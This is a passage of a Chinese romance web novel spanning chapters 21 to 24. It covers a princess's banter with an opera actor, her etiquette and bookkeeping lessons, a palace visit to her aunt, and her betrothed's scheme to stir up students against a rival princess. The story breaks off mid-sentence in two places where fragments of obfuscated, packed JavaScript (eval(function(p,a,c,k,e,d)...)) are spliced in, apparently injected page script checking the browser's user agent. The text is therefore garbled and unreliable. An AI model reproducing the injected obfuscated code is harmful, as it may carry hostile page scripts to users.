杜至善得了苻庆首肯,满意地笑了。“那下官便请公主回公主府少歇几日,时候到了自然有热闹给公主瞧。” 说完,杜至善躬身行礼,转身离开了院子。 苻庆看着杜至善离开的方向出神,她并不知道杜至善作为一个外院男子有什么办法报复宁慈心这位闺阁女子,更何况他不过是一个从八品的国子监博士,而宁慈心是皇上亲封的瑕英长公主。 “看什么呢?人家早都走远了。” 程怜香的声音冷不丁响起。苻庆回头,见程怜香已经换好了日常衣服,而松醪站在一旁。 “你管我看什么?”苻庆又恢复了往日的样子,对程怜香翻了个白眼,挥挥手说道:“走了。” 三人离开了宁国公府。 21. 条件 回去马车上,程怜香先是一言不发,走了半程后忽然开口问道:“刚才你和杜至善在院子里说什么呢?” 苻庆盯着程怜香看了一会,像是要看清程怜香问自己这话的深层目的,许久没有回答,只是反问道:“关你什么事?” “我……”程怜香语塞,别过头眼睛看向别处,再张嘴已有些别扭,“公主说得对。杜至善与你是夫妻,确实才是最亲近的人。” 程怜香不提还好,这一提又让苻庆想起来宁慈心居然将自己和杜至善直接安排在一张桌子上的事,一股怒气瞬间冲上脑门,“真是有病!” “你,你骂我?”程怜香被苻庆突如其来的咒骂说蒙了,瞪大了眼睛看着苻庆,“就因为我说你和杜至善,你就骂我?可我又没有说错!谁让你们两个今日还非要坐在一张桌子上!他还端糕点给你吃,生怕旁人不知道你们俩是一对情投意合的神仙眷侣似的!” 程怜香这段话包含的信息太多,苻庆愣了好一会才开口问道:“你在说什么啊?” 程怜香不说话,气呼呼地鼓着腮帮子,只是瞪着苻庆。 “程怜香,我不是骂你,是在骂宁慈心。”苻庆这才想起程怜香还不知道这件事,便将宁慈心故意安排座位的事情原委告诉了程怜香,“说实话,要不是宁慈心打骂下人的恶名远扬,我才不会这么轻易放过这件事呢。” 苻庆解释完,却发现程怜香的神情逐渐古怪起来,刚才还像是一只气势汹汹、准备兴师问罪的大白鹅,这一会时间立刻缩了水,转眼间就变成一只虽然炸了毛,但没什么攻击力的小猫了。 “不过,你不是在台上唱戏吗?怎么还有工夫看我和谁坐在一起,还有谁给谁端糕点什么的?”苻庆终于想明白自己的问题在哪里,皱着眉头质疑地看着程怜香,“程怜香,你到底有没有认真唱戏啊?” “我当然有!”程怜香喊了一嗓子,立刻转过身不再看苻庆。刚才程怜香不自然的表现就是因为他突然意识到自己说漏了嘴,居然把自己在台上注意苻庆的事情不自觉地说出来了。他现在只能寄希望于苻庆不要抓着这件事不放,否则他真不知道最终该怎么解释。 “真的假的?”苻庆有些不相信,“亏我还挺认真地看你表演。程怜香,你可别松懈了,如果你真的想成为角儿,就要好好把握自己现在的每一次登台机会才行。你要知道,千里之堤,溃于蚁穴。” 还好苻庆总是能够关注到奇怪的位置,程怜香面上不显,心里却松了口气。 “那你们两个到底是怎么回事?难道还有什么旁人不能听的秘密吗?”程怜香又将话题不动声色地转移了回去,说着说着程怜香忽然想到什么,睁大眼睛说道:“你不会要私下和杜至善幽会吧?这可不行啊!你们还没有……” “停!”苻庆无奈地制止住程怜香接下来长篇大段地唠叨,“程怜香,在你心里我就这么饥不择食吗?再说,即便我再喜欢杜至善,反正我们最后一定是夫妻了,我怎么不能等到成亲那天啊?他杜至善也不会跑了啊?” 苻庆这话说的很有道理,程怜香也意识到自己刚才说的话有些过分了。而且现在提到苻庆和杜至善成亲的事情,这话题程怜香更不想听,因此也就没再说话。而苻庆见程怜香住了嘴,却还是别过头不肯看自己,一副受气包的样子,心里不自觉想笑,她平日里最喜欢看的就是程怜香这一副被自己气到却又无可奈何的模样。 苻庆用手指戳了程怜香胳膊一下,程怜香没动静。苻庆再接再厉,又对着程怜香的胳膊戳了一下。这次程怜香有反应了,不过是坐的离苻庆更远了一些。 苻庆凑到程怜香脸前面,“真生气了?” 程怜香别过眼不看苻庆。二人僵持之间,马车忽然颠簸一下。还不等苻庆反应,程怜香先伸手扶住了苻庆。 “坐好,别又和昨天一样了。” “昨天?”苻庆眨眨眼,想起昨日二人坐马车因为颠簸差点亲上的事情,先是恍然大悟,紧接着一条计谋爬上心头。 苻庆先故意和程怜香拉开距离,拿捏起程怜香对这件事的兴趣。“程怜香,你是不是真的很想知道我和杜至善刚才在院子里说了什么?” 程怜香转过脸,斜着眼睛看着苻庆。 见程怜香果然上当,苻庆眨眨眼。“其实我也不是说不能告诉你,只是有个条件。” 程怜香面无表情,以为苻庆还只是惦记着自己的钱,“什么条件?我那一千两包银不是说过给你了吗?” “这是另外的价钱!”苻庆忽然上身前倾凑到程怜香脸边,由于程怜香毫无准备,两人间的距离陡然拉近。苻庆看着因惊讶微微睁大眼睛的程怜香,笑着开口说道:“程怜香,咱们府上不是也有凤盔和翎子吗?一会回去你戴上凤盔,也用那道翎子蹭我的脸一下呗?” “你!”在《百花赠剑》一折中,百花公主与海俊一见钟情、私定终身,百花公主用翎子蹭海俊脸颊的那一下也可以算作是二人之间打情骂俏的小把戏。一想到这,程怜香的耳朵急促变了颜色。 苻庆刚看过戏不可能不知道这些,程怜香终于意识到自己又被苻庆戏弄了。亏他刚才还真以为苻庆要认真跟自己谈条件,没想到苻庆又是变着花地调戏自己罢了。一想到自己居然又一次傻傻地相信了眼前人说的鬼话,程怜香心里便气不打一处来。 苻庆没注意到程怜香变了脸色,还在继续说着,“你放心,只要你蹭我一下,我立刻就把我和杜至善说的话告诉你。” “你,你,这是胡闹!”程怜香再也不肯听苻庆说下去,一拂袖和苻庆拉开了距离。 苻庆没明白程怜香的气愤从何而来,“这算什么胡闹?我原先听宫人讲过,那戏班子中的伶人为了多要赏钱,还愿意勾着观众脖子唱呢,这才算哪跟哪啊?” “那都是歪门邪道!我不屑于做这种事!”程怜香终于为自己的气愤找到一个好理由,“师父从小教我们,不论是学戏还是做人,都要行得正、坐得直。这种事放在我们和春班任何一个人身上,我们都不会做的!” 苻庆瞪大眼睛看着程怜香讲完这段慷慨激昂的陈词,半晌忽然咧开嘴笑起来,微笑很快便演变成了捧腹大笑。程怜香看苻庆抱着肚子在座位 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从前只是觉得这张脸适合远远放在戏台子看着便挺好,可最近愈发觉得比起台上台下的距离,苻庆更喜欢和程怜香私下相处时把这张脸气得气急败坏的样子。特别是程怜香每回被自己调戏过,耳朵红得像是两颗熟透的草莓,脸皮也仿佛能挤出石榴汁来,看起来实在是……实在是…… 苻庆在脑子中想了半天词。 马车缓缓停下,程怜香和苻庆一前一后出了马车车厢。等到苻庆下马车时一抬头,便看见一只手早已在空中伸直等着自己。程怜香看上去还有些生气,瘪着嘴面无表情,但那只手仍然停在那里。白皙修长的手指微微张开,食指微微弯曲,像是在向苻庆发出邀请。苻庆低头莞尔一笑,握住程怜香的手跳下了车。 可爱。苻庆终于想好了用来形容程怜香的词语。程怜香的样子,看起来实在是可爱。 二人一前一后走入公主府中,苻庆心情颇好,甚至有些一蹦一跳。谁知刚一蹦跳下台阶,便见阴影中闪出一个人影。 “邓嬷嬷。”苻庆立刻站直身体。 “公主,这几日玩够了吗?”邓嬷嬷好像完全不在意前些日子苻庆无声的反抗,向苻庆行过礼后站直,继续问道:“如果玩够了咱们便要开始上课了。” “我……”苻庆说不出话。说起来这几日太忙,忙到她都差点忘了府里还住着这么一位大人物,确实有些得意忘形了。“嬷嬷说的这是哪里话?这几日我是怕嬷嬷初来乍到、不曾习惯,待嬷嬷休养好了,我随时可以上课的。” 邓嬷嬷从不肯与苻庆在口舌上争论,见苻庆这样讲也不管对方是否在找借口,只是微笑着说道:“公主伶牙俐齿是好的,只是别用错了地方。若以后被杜家人发现,怕是要怪公主不敬长辈了。” 苻庆噤了声。看来邓嬷嬷今日是铁了心一定要抓自己回去上课了。苻庆转过头,发现程怜香还站在一旁。 苻庆瘪瘪嘴,眼见着眼泪便要落下来,“怜香,我舍不得你……” 而程怜香此时脑子里全都是杜至善端糕点给苻庆、二人有说有笑的样子,见苻庆转过身来,没有半分犹豫立刻扭头回揽晴轩去了。 唯一的救星已经走了,苻庆终于认清了现实,还是乖乖回翠华庭住了。 22. 入宫 果然第二日辰时,邓嬷嬷已经站在翠华庭院子中了。苻庆此时勉强由松醪拉扯着簪好头发,穿好衣服,面上撑着笑容坐定在书桌前,实则连早饭都没有时间吃一口。见邓嬷嬷走进来,连忙站起身,轻声说道:“嬷嬷早。” 邓嬷嬷没有客套,开门见山问道:“公主看样子是刚刚起身不久吧?早饭用过了吗?” 苻庆心里打鼓,却还是强撑着说道:“怎么会呢?嬷嬷放心,我早就起床了,早饭也已经用过了。” “公主唇色发白,略有些起皮,恐怕连水都没来得及多喝一口,怎么会有时间吃饭呢?何况若是吃过早饭,今日公主府上早饭做的是小笼包子,肉馅包子油水大,公主怎么会吃了包子反而嘴唇干裂呢?”邓嬷嬷一挥手,身后的婢女提着餐盒走上去。 “不吃早饭脑子混沌,是学不好习的。今日是上课第一日,算是老身为公主破一次例。日后还请公主早点起,用过早饭再来听讲。” 苻庆看一眼桌上摆好的包子和稀饭,又看了一眼站在身旁的不苟言笑的邓嬷嬷。瞬间感觉到自己未来这段时间过得将不会太轻松,内心一阵哀嚎又不能表达,只能违心扯出一个笑容来,还要向邓嬷嬷点头答谢。 待吃过早饭正儿八经上起课来,苻庆想得果然没错。邓嬷嬷教得极多,从《女则》《女戒》等书中内容到端茶倒水的种种规矩,连苻庆站立、坐下的样子都被细细纠正过。除此外,为保证成婚后苻庆能够打理好杜家事务,邓嬷嬷还要教给苻庆管家算账之事。这些事是从前苻庆最不屑于学习的,如今却因此吃了亏,对着一本账簿打算盘一练便是一下午,只打得苻庆右手手指酸痛,每晚都要松醪用热水浸泡才好些。 松醪看在眼里疼在心里,几次说要递消息进宫请薛贵妃想办法,都被苻庆拦下了。苻庆知道自己前段时间混账事情做得狠了,若这段时间不消停些,皇上怎么跟杜家交代?虽说杜至善已和自己结为盟友,但到底如今的杜府还是杜太傅和他夫人说了算。 因此,苻庆也就认认真真上了几日课,练了几日看账算数。好在苻庆脑子还算聪明,虽说从前没学过,但一连练了几日,算盘敲得也算是有些样子了。打开账簿后只听得“哗啦哗啦”一阵响动,三四页纸便算好了。而在得到正向反馈后,苻庆也更加愿意练习,逐渐开始不用邓嬷嬷督促,便主动继续完成那一摞如小山高的账簿练习了。 入夜,苻庆还在屋中敲着算盘。翠华庭静悄悄的,只有苻庆“哗啦哗啦”扒拉算盘珠子的声音格外清楚。 松醪端着一碟子牛乳糕走进来,见苻庆手边的茶杯空着,又给苻庆续了一杯水。 “公主,吃些点心歇一会吧。” 算完最后一个数,苻庆有些意犹未尽地合上账簿。喝一口水后,拿起牛乳糕看了看。“咱们府中什么时候做起这么精致的点心了?” 松醪笑,“公主好眼力,这是奴婢差人去外面铺子里买的。那日参加宁国公府堂会,奴婢看见公主爱吃那盘枣泥酥,便辗转打听最终得知宁国公府用的便是从这家铺子买的点心。奴婢想着公主吃一样点心兴许会腻,不如多买几种尝一尝。” 苻庆喜笑颜开,“松醪,没有你我可怎么活啊?” 见苻庆吃得高兴,松醪心情也就更好一些。瞥一眼桌上还有一尺高的账本子,松醪轻声问道:“公主,您真打算把这些本子都算完啊?” 苻庆也看了一眼那些账本,嘴里嚼着牛乳糕,“说实话,一开始我是绝不打算自己算完的,你们都是从宫里出来的,肯定有会敲算盘的。这诺大的公主府,怎么不能找出来三五个帮手呢?可是学进去了却发现,这算账本子也挺好玩的。有时候我觉得这还挺像县衙门断案子的。 松醪被苻庆的比喻逗笑,开口问道:“公主怎么这么说?” 苻庆咽下嘴里的点心,拍了拍手边刚算完的一本账簿。“你就说今日我算的这个账本吧,我仔细算过了,这家子从五年前到去年,花销用度是一年比一年大。就算把饥年荒年都算上,也没见过花销增长如此多的。我原想着或许是底下做采买的人狡猾,起了歹心开始昧银子。可仔细检查过又发现,其实厨房等外院各处开销变化并不大,反而是内院花的越来越多。再结合府里在前年和去年初都突然有一段时间大肆采买酸杏等果子,我才想明白或许是这家主人几年前纳了房妾室。妾室受宠,接连生子,主人如流水一般的赏赐送入院中,自然内院花的也就多了。” 松醪歪着脑袋听苻庆说完,有些不解:“那公主为何觉得一定是妾室呢?” 苻庆狡黠一笑,“府里下人的月例银子自前年起降了两回,若是夫人受宠,怎么会舍得这流水的银子就换成绫罗绸缎和山珍海味了呢?” 松醪点头。她从前在晏呢殿伺候时便听薛贵妃说过,先皇后在世时常常因为缩减宫中花销而受到其他人背后非议,那时薛贵妃还觉得先皇后不懂得变通,一心只想着替皇家节省银子却忘了皇上不领情不说,还惹得底下人还怨声载道。直到薛贵妃自己做了六宫的管事才明白,有些事并非是先皇后不知道,而是知道了也没有办法。 又为苻庆添上一杯茶,松醪微笑着说道:“起先奴婢总怕公主吃苦,如今看来倒要好好谢谢邓嬷嬷才是。” 苻庆如今对邓嬷嬷的印象也好了不少,邓嬷嬷教书极有耐心,经常三两句话就把苻庆的疑惑解释清楚。联想到邓嬷嬷是奉旨侍奉东宫的,心中又很是安慰。“表弟能够得这样一位嬷嬷照料,我姨母也可以放心多了。” 二人正说着话,门外忽然有一个婢女走进来。松醪看她一眼,立刻心领神会,向苻庆行礼后便跟着那婢女走了出去。过了一会又走回来,站在苻庆身旁轻声说:“公主,宫里来消息了。” 苻庆抬头。 “贵妃娘娘要公主明日入宫,陪同娘娘用午膳。” “午膳?”苻庆看向松醪,脑子中飞速过了一遍自己近几日的安排,“最近我没惹什么事吧?等等,程怜香人呢?他没出什么事吧?” 苻庆这才想起来自己已经好几天没有见过程怜香了。 松醪摇头,“公主放心。程伶人这几日连院子门都没出过,每日还是照常练功罢了。” 苻庆这才松了口气,“既然不是他出事,我也没惹事,咱们就不必担心了。姨母叫我去自然有姨母的道理,咱们照做便是。” 说起程怜香,苻庆忽然想到一事。“对了,这牛乳糕还有多的吗?也给揽晴轩送过去一点,他那天什么也没吃着,让他尝尝。” 松醪早就料想到苻庆会这样讲,“公主放心,奴婢早就送过去了。只是听底下人说,程伶人好像对此不怎么感兴趣的样子,点心在桌上摆了一日,程伶人就尝了一块。” “他这个浪费粮食的毛病怎么还没改掉?”苻庆的眉毛立刻皱了起来,“你跟揽晴轩的人说,若有下次就再把点心给我们翠华庭端回来,他不吃我吃。” 松醪低头一笑。 吃过点心,苻庆又看了两页账簿便赶紧洗漱睡觉了。既然明日要入宫,不论是为着什么事,苻庆都必须养足了精神,做好准备。 虽说是入宫用午膳,但从起床开始便要做各种准备。苻庆早上只匆匆用了一小碗米粥,便开始坐在梳妆台前由松醪梳妆打扮,最后裹上层层衣服,坐上了入宫的马车。 坐在马车上,苻庆扶着由于戴了过多发簪沉甸甸的脑袋,又摸了摸自己有些瘪下去的肚子,长叹一口气。从前日日过这样的日子都觉得还好,如今只是偶尔体验一次便感到痛苦了,“人果真是由俭入奢易,由奢入俭难啊。” 由于公主府的马车是宫内出来的,因此还有进入宫门的权利,苻庆坐在马车上晃晃悠悠,一直到内廷外才下车。进入内廷后,苻庆又换了小轿,走了好一会终于到达了晏呢殿。 刚一迈入宫门,苻庆便看见薛贵妃站在游廊下等待自己。三月初明明是春暖花开的好时节,薛贵妃却还披着氅衣,苻庆皱眉,快步走过去。 “见过姨母。” 薛贵妃上前拉起苻庆,上下仔细检查一番,尔后才笑着点点头,“瞧着气色不错,倒像是有些胖了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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六年前薛贵妃小产,做小月子时得了头风病,发作起来头痛欲裂,整夜整夜地睡不着。后来苻庆奉旨进京探望时,母亲特意让苻庆带了治病的药材,薛贵妃用过后头风病便好转了,日后也没有再犯过。但这件事只有薛贵妃、苻庆、花露和松醪四人知道,之后这些年中薛贵妃经常借头风病发作为名暂避风头、韬光养晦,因此苻庆在一开始听说薛贵妃头风病发作后并不担忧,只以为这是薛贵妃为了躲避风头寻找的借口罢了。谁知今日入宫却发现薛贵妃都三月份了还在穿氅衣,心里又有些担心起来。 薛贵妃笑,伸手摸了摸苻庆的脑袋,“别担心,只是花露怕我着凉。” 苻庆趁机捉住薛贵妃的手,“姨母,不论发生什么事您都不要瞒着我,好不好?我在这世上只有您一个亲人了,若连您都要瞒着我,我该怎么办?” 薛贵妃看着苻庆担忧的神情,心里却因为苻庆刚才所说的话很不是滋味。“庆儿,你长大了。” 苻庆不说话,只是轻轻婆娑着薛贵妃的手。 “一开始确实是托词。可前几日不知怎么着,忽然开始头晕。”薛贵妃不在意地笑一笑,“大概是年纪大了,换季的时候就容易不舒服。太医早来瞧过,没什么事情。只是让我静养。” 苻庆翻过薛贵妃的手,果不其然又在食指指尖发现几个小针眼。苻庆有些着急,“姨母,您身子弱,又为了抄写血经常年茹素,实在不利于调养。这几日既然不舒服,就应当暂时停了抄写才对啊。” 薛贵妃忙将手收回来,笑一笑捂住。“太医说了并不碍事,何况宫中子嗣重要,我既然在菩萨面前发愿要抄写血经供养,便决不能半途而废。你不用担心我,还是先把燕窝喝了吧。” 说来也奇怪,皇上登基后后宫子嗣一直单薄。先皇后和皇上是结发夫妻,成婚多年嫡公主有了三位,可嫡子却只得了一个,偏偏又身子娇弱,还没养过三岁便薨了。而后宫中其他妃嫔生养皇子要么容易难产,要么难以养过五岁。皇上着实为此烦恼过很长时间。 嫡子夭折后,先皇后一病不起,没过多久也撒手人寰。因此,皇上便授意薛贵妃主理六宫之事,代行皇后之权。三年前,薛贵妃从书中看到说如果人常年茹素,血液融入墨水后便能够多年颜色不变,因此从那时便开始只吃素食,再从指尖放血抄写经书供养,以此祈求佛祖保佑宫中子嗣康健。不知道是不是薛贵妃的诚心感动上苍,这几年后宫确实热闹了许多,皇子也添了两位。也正是因此,即便生病薛贵妃也不敢停下抄写血经一日。 苻庆点头,勉强又喝了几口燕窝。奈何这燕窝实在是难以下咽,还好没一会便听到外头摆膳的声音,苻庆赶紧借口吃不下了放下碗。 23. 热闹 吃过午膳,苻庆陪薛贵妃在院子中散步。薛贵妃步子很小,两人站在阳光下缓缓走着,就像两只乌龟迟钝地追逐光亮。 “庆儿,今日唤你入宫确实是有事情要嘱咐你,”薛贵妃拉住苻庆的手,“我知道你前几日在府中受邓嬷嬷教导学习是受苦了。但是也算是因祸得福,反而避开了另一桩事。” 苻庆看着薛贵妃,不解地眨眨眼。 “几天前,国子监突然有学子上书,要状告宁国公教女不严。陛下一开始还未放在心上,可后来上书的人越来越多,甚至还有京城学子在外头敲登闻鼓的,宫内一片哗然。陛下让人仔细调查后才发现,去年年底瑕英长公主打伤了她府上的一个丫鬟,又不准人给她医治,要那丫鬟在府中自己等死。偏偏那丫鬟不是家生子,她父亲是个穷举子,为了继续科考凑路费,才把女儿卖身为奴的。他也不知从哪得的消息知道女儿在宁国公府受苦,大约是见求生无门,竟在年三十那晚上吊死了。” “什么?”苻庆没想到最后的结果竟是这样急转直下,眉头慢慢皱了起来,“死了?” 薛贵妃点头。“这事一开始也过了府衙,但那举子生前并未告官,府衙也就没有立案不了了之了。谁知前几日这件事不知怎的突然走漏了风声,叫国子监的人知道了。那些学生你知道的,是最听不得这些。一听说那举子考了一辈子,最终竟因为护不住女儿气得自杀,那些学生都气坏了,不去上课了不说,还聚在一起要求陛下必须给他们一个说法。” 苻庆倒吸一口气,“这,这也太奇怪了吧?此事都已经过去两三个月了,且不说那举子之前也没有报案,此事不涉及京城府衙徇私舞弊。即便是宁国公府仗势欺人,可怎么会等到这个时候才有人蹦出来讨说法呢?说句难听的,若去年那时候真有这么多人愿意站出来,那穷举子最后也没必要被逼着自杀了啊。” “我也这么觉得。”薛贵妃眉头微蹙,轻轻拍了拍苻庆的手,“但无论如何陛下为此发了很大的脾气,接连几日都在紫宸殿骂人。这段时间你虽在宫外,也要谨慎些。千万不要出风头,知道了吗?” 原来是薛贵妃因为此事担忧自己,苻庆放下心来,“姨母放心,近日我正沉迷打算盘呢,不会出去乱跑的。” 薛贵妃笑,伸手摸了摸苻庆的脸颊,“庆儿,不必担心我。你记着,只要你好,姨母就放心了。” 苻庆轻轻蹭了蹭薛贵妃的手心,“姨母这话可别被表弟听到,省得他又要生气了。我听闻前几日表弟来看过姨母,他怎么样?可又长个了吗?” 薛贵妃像是想到什么好笑的事情,“他好得很呢。陛下器重他,愿意选最好的师傅去东宫教育他,我早就放心了。如今叫我放心不下的,只有你一个。” 苻庆嗔怪:“姨母不放心我做什么?我什么都好。” 这时薛贵妃才意识到有些不对,好奇地问道:“庆儿,你是怎么知道你表弟回来过的?” 苻庆这才反应过来自己说漏了嘴,便低声将自己与杜至善在宁国公府堂会上遇见的事情告知了薛贵妃。薛贵妃颇有些意外苻庆与杜至善现在已经如此相熟,但听过后又觉得杜至善能够为苻庆着想,瞧着倒像是个可托付之人。 “原先只知道杜博士是个才华横溢的,如今才发现杜太傅那个老古板,竟生出了这么会疼人的儿子。” 苻庆被薛贵妃的话说的无言以对,只是噘着嘴看着薛贵妃。薛贵妃以为苻庆是害羞了,也掩面而笑。但就在这转瞬之间,符庆忽然想起那日在宁国公府分别时,杜至善曾经提过要向自己交出一份投名状。 见苻庆忽然好像变了脸色,薛贵妃以为是打趣狠了,遂拍拍苻庆的手转换话题,“好了,该说的话我嘱咐完了,我知道你是个懂事的,不会让我费心。这次回去你再做两日样子,我一定找机会替你回禀陛下,让邓嬷嬷早日回宫。” “算了。”苻庆想也不想地回答道:“还是让邓嬷嬷在我府中多待几日吧。毕竟只要有邓嬷嬷在,宫中才能真的对我放心。” 薛贵妃听苻庆这话,有些欣慰地点头。“怪不得古人说士别三日当刮目相看,如今我瞧着庆儿也需要我另眼相待了。” 由于薛贵妃有午休的习惯,苻庆也就先行告辞了。辞别薛贵妃后,苻庆离开晏呢殿坐小轿出内廷,却在换乘马车时将松醪叫到身边,嘱咐了几句。 过后,苻庆便先行坐马车出宫,而松醪却转身去了外朝。 过了大约一个多时辰,苻庆与松醪在醉仙居的天字号雅间见面。 苻庆此刻已经要了一壶好酒与一桌小菜,正在自斟自饮。见松醪走进来,放下酒杯问道:“怎么样?找到人了吗?” 松醪点头,“公主放心,那小黄门本就是在国子监伺候笔墨的,人很机灵,绝不会出岔子。” 苻庆点头,端起酒杯放在鼻子下闻酒香,“既然如此,咱们就在此慢慢等候吧。” 大约过了一炷香的时间,雅间外传来店小二的声音。“贵人,有客人到。” 苻庆用眼睛示意,松醪立刻会意走出门去。不一会,门再次打开,还穿着官服的杜至善缓缓走了进来,今日倒没有再披氅衣。 杜至善还是一如既往地规矩,拱手俯身行礼。“下官见过公……” “私下里便免了这些客套吧。”苻庆打断杜至善的请安,她今日是带着疑惑来的,没有心情听杜至善说这些没用的客套话。“杜博士,你不会不知道今日我找你来所为何事吧?” 杜至善弓着身子,“微臣近来管着修书一事,每日人多事杂心力憔悴,实在不知道公主说的是什么事。” “你不知道?”苻庆根本不信,反问他道:“那国子监学生们都不上课改去敲登闻鼓了,难道你还能两耳不闻窗外事,一心只修圣贤书?” 听到苻庆这样讲,杜至善也会是温和地笑一笑,“我道是什么,原来是这件事。这件事我确实有所耳闻。” 苻庆像是听到什么笑话,“耳闻?我看你是主谋吧。” 杜至善不慌不忙,好像完全不在意苻庆的质疑,微笑着继续回答:“公主此话怎讲?下官不过是国子监一个从七品博士,这样沸反盈天的热闹下官可没有资格参与。” “你没资格参与却不代表你没本事挑起事端。”苻庆站起身,“那老举子都死了多久了?这些人若是要出来早出来了,何必等到这时候?怪不得那日你一副胸有成竹的样子,原来是早就想好办法了。” 见苻庆已经猜到真相,杜至善也就不再装模作样,直起身正视苻庆问道:“既然公主已经猜到了,咱们同盟之间没必要再说假话。公主殿下,下官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“公主尽管去说,只要让陛下知道公主有这一番心意也是好的。”杜至善眼睛眯起,“自生辰宴过后公主与陛下还未曾见过面吧?公主既已收下微臣的投名状,为何不肯向陛下交出一份投名状呢?” 苻庆了然,眼睛不自觉看向杜至善。再一次四目相对,这一次苻庆从杜至善眼中读出的不再是茫然,而是几乎要满溢出来的自信。显然,杜至善已经猜到了苻庆最终一定会听取他的建议,知道事情一定会按照他预判的方向发展。 毋庸置疑,苻庆讨厌杜至善的这种自信,也讨厌自己会被杜至善猜出下一步行动的这种感觉,偏偏此刻她又无能为力。自己在皇上赐婚后当场要走面首,本就等于在大庭广众拂了皇上的面子。之后种种行为又实在明目张胆,任谁都能看出她是在公然发泄不满。一时发泄一时爽,但到最后还是要向皇上低头。毕竟苻庆现在唯一能依仗的,也只有皇上赐予自己的这个公主尊位。 “再过两日,我会入宫向姨母说明。至于到不到陛下面前陈述,还是要看我姨母的意思。” 杜至善点头,“薛贵妃蕙质兰心,必然会做出最有益于陛下的选择。” 再走出天字号雅间时,苻庆只感觉胸口处有什么东西积压着,有种想吐吐不出的憋闷感。松醪候在门口,一眼便瞧出苻庆不舒服,紧赶慢赶催促马车向公主府驶去。 24. 生病 回到公主府后翠华庭便立刻请了大夫,苻庆躺在床上病恹恹的,一点精神都提不起来。大夫切了半天脉也没查出所以然,只说有可能是吃坏了东西,给苻庆开了几副温胃散寒的汤药。 婢女跟着太医出去抓药,苻庆无力地靠在床头,心里还惦记着起床敲算盘。松醪有些无奈,上前给苻庆掖了掖被角,“公主放心,我已经替公主向邓嬷嬷告假了。左右邓嬷嬷也不会走,您晚几日没什么的。” 二人正说着话,忽然听见外头传来脚步声。 松醪转身向外看去,却看到多日未曾露面的程怜香站在外间门口。 “程伶人?”松醪反应过来,后知后觉行礼。“程伶人怎么过来了?” “程伶人?是程怜香吗?程怜香!”苻庆好像终于有了点力气,挣扎着喊道:“怜香!是你吗?是我的乖乖怜香过来看我了吗?” “闭嘴。”程怜香的声音忽然响起,接着苻庆便看到程怜香出现在了二间房门口。“胡说八道什么?是不是烧糊涂了?” 苻庆见程怜香站在那里不动了,连忙用最后的力气抬起手招呼程怜香走进来。,而程怜香只是有些别扭地站在二间房门口。 “怎么?都这时候了,你还要我下床请你过来吗?” 还是松醪觉察出程怜香的局促,向外走到程怜香身边。“程伶人放心。大夫刚走,公主穿戴整齐还不到休息的时候,您进来吧。” 见程怜香这才放下心走进来,苻庆却没有力气翻白眼,“程怜香,你至于吗?不能看你,让你看我也不行。你这个人,真是活的忒没意思。” “还有力气说混账话,我看你没什么事情。”程怜香走到苻庆床前。二人几日未见,没想到再次见面却是在这样的情况下。苻庆虽说脸上还带着脂粉,但也能看出神情憔悴、面色发青,现在倚在床头上完全瞧不出平日里威风凛凛的样子。程怜香没想苻庆会病的这样重,乍一看到苻庆的样子也有些慌了神。 “我知道你今日入宫,本想来问问你入宫是为了何事。谁知刚进门便得知你病了。”程怜香的声音都不自觉变得轻柔了,“怎么样了?大夫怎么说?” 苻庆摇头,“可能是吃坏了,让我吃几副中药而已。” 程怜香皱紧眉头,“可是你今日不是入宫了吗?怎么入宫还能吃坏呢?” “入宫怎么不能吃坏?”苻庆选择性忽略掉了自己刚刚在醉仙居喝下去的几杯酒,“我姨母常年吃素,每日不是青菜萝卜就是豆腐粉丝。我在外面养的胃口好了,乍一吃这些没滋味的,胃不舒服也很正常。” “这……”程怜香本能觉得苻庆说的话没道理,奈何看到苻庆这个样子,反驳的话也说不出口。“也行,大夫说什么便是什么吧。那药呢,煎好了吗?” 松醪福一福身,“奴婢这就下去看一下,劳烦程伶人在这里照看公主一会。” 松醪走后,内室中只剩下苻庆和程怜香两个人,程怜香又不自觉地往后缩了缩。苻庆看在眼中,却因为无力说话,只能在心中嘟囔了两句。 程怜香心中还是觉得孤男寡女同处一室不太守规矩,这让他颇有些不自在。自从宁国公府回来,这几日他便总想起苻庆要让自己用翎子蹭脸的事情。程怜香也觉得自己的羞愧实在是来的莫名其妙,原先他们两人更没规矩的时候多了,他能感觉到的一向只有生气和羞涩,却从未感知到现在的惭愧从何来。 其实应该不说话了的,但程怜香看苻庆倚在床头满面的倦容,又忍不住关心她。 “你现在还有哪里不舒服吗?” 苻庆眼睛已经支撑不住闭上了,但意识还是清醒的,摇头说道:“只是想吐,旁的没有了。” 程怜香瞧着苻庆的样子实在可怜,轻声叮嘱道:“你日后吃饭还是注意些吧,别小小年纪落了病根,日后反复起来有你好受的。” “什么小小年纪,我都十六了。”苻庆说完,着实喘着气缓了一会才能继续说话,“也不知道谁刚到公主府的时候绝食了三天,我看你也没好好保养到哪里去。” 程怜香见苻庆又翻旧账,只想堵住苻庆的嘴。“行了,你好好休息会吧。怎么病了话还这么多?” 苻庆也确实虚弱不堪,乖乖地闭上眼睛休息。苻庆闭上眼睛后瞧着和平日很是不同,由于没有了那双最具特色的大眼睛,一张脸甚至有些寡淡,也没有了平日里锋芒毕露的样子。程怜香看着这样的苻庆,忽然觉得自己有了些靠近苻庆的勇气,便不留痕迹地向苻庆靠近了些。 “你怎么不走?” 程怜香吓了一跳,再三确认苻庆没有睁开眼睛才迟疑着说道:“松醪姑娘不是让我在这守着你吗?” 这句话逗笑了苻庆,“真是个实心眼的,难道你走了这府里就没人管我了?”说着话,苻庆挣扎着起身想调整姿势,奈何手却用不上力气,试了几次都没成功。就在苻庆打算放弃的时候,程怜香忽然走上前帮苻庆调整好靠枕,又重新掖好了被子。 苻庆诧异地注视着程怜香十分熟练地做着这些活。程怜香此时与苻庆靠得很近,实则眼睛完全不敢看苻庆,只是认真盯着手里。但只是用余光,都能够看到苻庆一直瞪着眼睛看着自己。 “你把眼睛闭上。”程怜香声音闷闷的。 苻庆不解,“为什么?你要趁机轻薄我?” 